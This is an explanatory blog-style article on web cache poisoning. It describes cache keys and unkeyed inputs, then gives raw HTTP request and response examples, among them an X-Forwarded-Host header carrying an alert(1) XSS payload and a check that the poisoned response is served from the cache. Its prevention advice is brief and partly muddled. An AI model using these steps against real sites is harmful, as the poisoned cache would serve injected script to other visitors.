Cache poisoning is an technique whereby an threat actors exploits the vulnerable web server and cache, so that a harmful HTTP response is served to other legitimate users.Before jumping into the cache poisoning attack, let us see the use for cache in systems/applications.
What is Cache and How Cache Works ?
Cache is storage location that is reserved to collect temporary data to help web-sites, browsers and apps to load faster for the same information i.e to reduce the response time from application server. Since, it is situated in between user/client and server/component.
Whenever a cache receives a request for a resource in server, it has to check whether it has saved the exact copy of data to serve or it has to reach the server to fetch it.
Note: Most companies host their own cache using software’s or opt to Content Delivery Network (CDN) like Cloudfare, akamai etc in order to give their users fast response.
Now, cache techniques seems simple. But, it brings in some risks along with it. Which needs to be detected at the earliest to being the victim of such attacks.
Challenges of HTTP Protocol with cache handling
The risk comes here. It has to identify whether the two requests are trying to load the same resource or not, by request match for each and every byte would be ineffective; Because HTTP request are inconsequential due the requestor browsers.
GET /story/post.php?story=1 HTTP/1.1 Host: comics.com User-Agent: Mozilla/5.0 … Firefox/57.0 Accept: */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Caches use the concept of cache keys, where few specific component of HTTP request that are considered to identify the resource requested. The above request (highlighted) shows that typical cache key.
Attack use case 1:
Request :
GET /story/post.php?story=1 HTTP/1.1 Host: comics.com User-Agent: Mozilla/5.0 … Firefox/57.0 Cookie: language=en; Connection: close
Request :
GET /story/post.php?story=1 HTTP/1.1 Host: comics.com User-Agent: Mozilla/5.0 … Firefox/57.0 Cookie: language=de; Connection: close
Now, this would end up in submitting wrong language to the second client/visitor. So, the risk occurs when unkeyed input may be stored and served to other users. Developers can use ‘Vary’ header to specify additional request headers should be keyed. Real trouble starts when application is deployed without realizing that sites support any header based input in cache techniques.
Attack use case 2:
Identify the parameter which can be used to dilute the request(unkeyed input) For this, We can use Param Miner extension in burp to detect web cache poisoning vulnerabilities.Below figures illustrates the example of Cache poisoned server.
Request :
GET /en?story=1 HTTP/1.1 Host: www.example.com X-Forwarded-Host: blogs
Response : HTTP/1.1 200 OK Cache-Control: public, no-cache … X-Forwarded-Host :<meta property="og:image" content="https://blogs/cms/welcome.gif" />
In the response , we can see that X-Forwarded-Host header is used by the application to serve suspicious gif content inside a meta tag to the users.
Attack use case 3:
Request :
GET /en?poisoning=1 HTTP/1.1
Host: www.example.com
X-Forwarded-Host: a."><script>alert(1)</script>
Response :
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
We can confirm that now we can cause a response that will execute arbitrary JS whoever requests it. Finally, we need to confirm that this response is stored in cache and served as common response the request comes to server. The header controls for cache are for safety but we don’t want to come to a conclusion that attack won’t work unless we attempt it first. Just submit the request without malicious payload and directly fetching it from different browser on different device.
GET /en?poisoning=1 HTTP/1.1
Host: www.example.com
HTTP/1.1 200 OK
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
This ends up that our attack was success and response is served from the cache. Even though there is no header to confirm cache is present.We have seen just a simple poisoning were there are numerous types of poisoning available in wild to explore.
Prevention of cache Poisoning Attack
- First make sure you’re using user headers from request to use a cache key.
- Always make the application free from browser side attacks.
- Have strong cache techniques and restrict the contents.
- As a defense use the cache defenses and test it before deploying the application.